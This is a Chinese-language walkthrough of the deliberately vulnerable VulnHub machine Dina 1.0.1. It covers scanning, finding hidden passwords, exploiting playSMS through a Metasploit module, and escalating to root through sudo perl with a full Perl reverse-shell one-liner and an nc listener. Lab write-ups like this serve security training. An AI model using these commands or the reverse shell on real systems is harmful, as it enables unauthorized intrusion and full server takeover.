靶机下载
https://www.vulnhub.com/entry/dina-101,200/
靶机配置
默认是桥接模式,切换为NAT模式后重启靶机
主机发现
arp-scan -l
端口扫描
nmap -sV -A -T4 192.168.229.157
发现80端口开启,访问
访问网站
目录扫描
python dirsearch.py -u http://192.168.229.157:80
拼接访问
http://192.168.229.157/robots.txt
robots.txt文件是一个文本文件,用于告诉网络爬虫(也称为网络机器人)哪些页面或文件可以请求,哪些不能请求你的网站。它通常放在网站的根目录中。
robots.txt文件是一个简单的文本文件,包含了爬虫在爬取你的网站时应该遵循的指令。它允许你指定哪些页面或文件可以被索引,哪些应该被排除在索引之外。
http://192.168.229.157/secure/
下载backup.zip并查看,解压时发现需要密码
在进行Web应用程序安全测试时,通常会尝试一些常见的目录和文件名来探测Web服务器的配置和漏洞。"/nothing" 是一个常见的文件名,它通常表示请求了一个不存在的资源。
当在URL后面拼接 "/nothing" 时,可能会产生以下两种情况之一:
1. 如果Web服务器没有对"/nothing"进行特殊处理,并且该文件或目录不存在,那么Web服务器可能会返回一个默认的404页面。
2. 如果Web服务器对"/nothing"进行了特殊处理,并且该文件或目录存在,那么Web服务器可能会返回该文件或目录的内容。
如果Web服务器返回的是一个404页面,那么我们可能会注意到页面中是否包含有关服务器配置或Web应用程序版本的信息。这些信息可能会帮助我们确定Web应用程序的类型和版本,从而为进一步的渗透测试提供线索。
以下是一些可能有用的拼接点:
1. /crossdomain.xml:此文件通常用于跨域资源共享(CORS),它定义了哪些网站可以从其他网站访问资源。
2. /.git/:如果网站使用Git版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
3. /.svn/:如果网站使用Subversion版本控制系统,那么此目录可能包含敏感信息,如提交历史记录和配置文件。
4. /backup/:此目录通常用于存储备份文件,如果网站使用自动备份功能,那么此目录可能包含备份文件的副本。
5. /admin/:此目录通常用于管理网站的后端,如果网站没有限制对该目录的访问,那么攻击者可能会试图猜测管理员的用户名和密码。
6. /config/:此目录通常用于存储网站的配置文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图读取敏感信息。
7. /uploads/:此目录通常用于存储用户上传的文件,如果网站没有限制对该目录的访问,那么攻击者可能会试图上传恶意文件。
8. /server-status:此页面通常用于显示服务器的状态信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取服务器的敏感信息。
9. /phpinfo.php:此页面通常用于显示PHP的配置信息,如果网站没有限制对该页面的访问,那么攻击者可能会试图获取PHP的敏感信息。
10. /CHANGELOG.txt:此文件通常用于记录网站的变更历史,如果网站没有限制对该文件的访问,那么攻击者可能会试图获取敏感信息
我们通过测试发现拼接/nothing有特殊回显
http://192.168.229.157/nothing/
发现不是404,我们查看页面源码,这些信息可能是接下来账户的密码,先尝试是不是加密视频的密码
发现freedom是加密密码
发现已经损坏,我们尝试使用记事本打开,发现url和uname以及一个加密密码,这个加密密码我们可以尝试使用之前文件夹的密码进行破解,url拼接访问
192.168.229.157/SecreTSMSgatwayLogin
通过尝试发现密码为diana
出现这个需要切换浏览器访问
登录成功,发现CMS,利用MSF查看是否有nday漏洞
GETshell
开启MSF
msfconsole
查询CMS历史漏洞
search playSMS
尝试过后,序号2可以成功利用
use 2
show options
yes代表该参数是必须设置的
set targeturi /SecreTSMSgatwayLogin #配置上传文件页面的url
set password diana #配置密码
set username touhid #配置账户
set rhosts 192.168.121.184 #靶机ip
set lhost 192.168.121.171 #kali监听机的ip
set LPORT 1234 #kali监听的端口
getshell成功
提权
列出当前用户能执行的sudo命令
sudo -l
这段sudo -l命令结果显示了当前用户(www-data)的权限范围,以及哪些命令可以使用sudo命令执行。
首先,它显示了当前用户的默认环境变量设置:
env_reset
这意味着在执行sudo命令时,会重置当前用户的环境变量。
然后,它显示了当前用户可用的安全路径:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
这意味着当前用户可以使用的命令的路径。
最后,它显示了当前用户可以使用sudo命令执行的命令:
(ALL) NOPASSWD: /usr/bin/perl
这意味着www-data用户可以使用sudo命令执行/usr/bin/perl命令,并且不需要输入密码。
这意味着攻击者可以利用www-data用户的权限来执行/usr/bin/perl命令,从而可能获取到服务器的权限。
kali开启监听
nc -lvvp 9999
通过perl写入反向shell语句
sudo perl -e 'use Socket;$i="192.168.229.132";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
反向shell语句分析
这段代码使用Perl语言创建了一个反向shell,用于连接攻击者控制的服务器。
这段代码的目的是创建一个连接到攻击者控制的服务器的socket。它首先定义了目标服务器的IP地址和端口号,然后使用Perl的Socket模块创建一个TCP socket连接。
如果连接成功,代码使用exec函数执行一个shell命令,从而使攻击者可以获取目标服务器的控制权限。
提权成功
whoami
id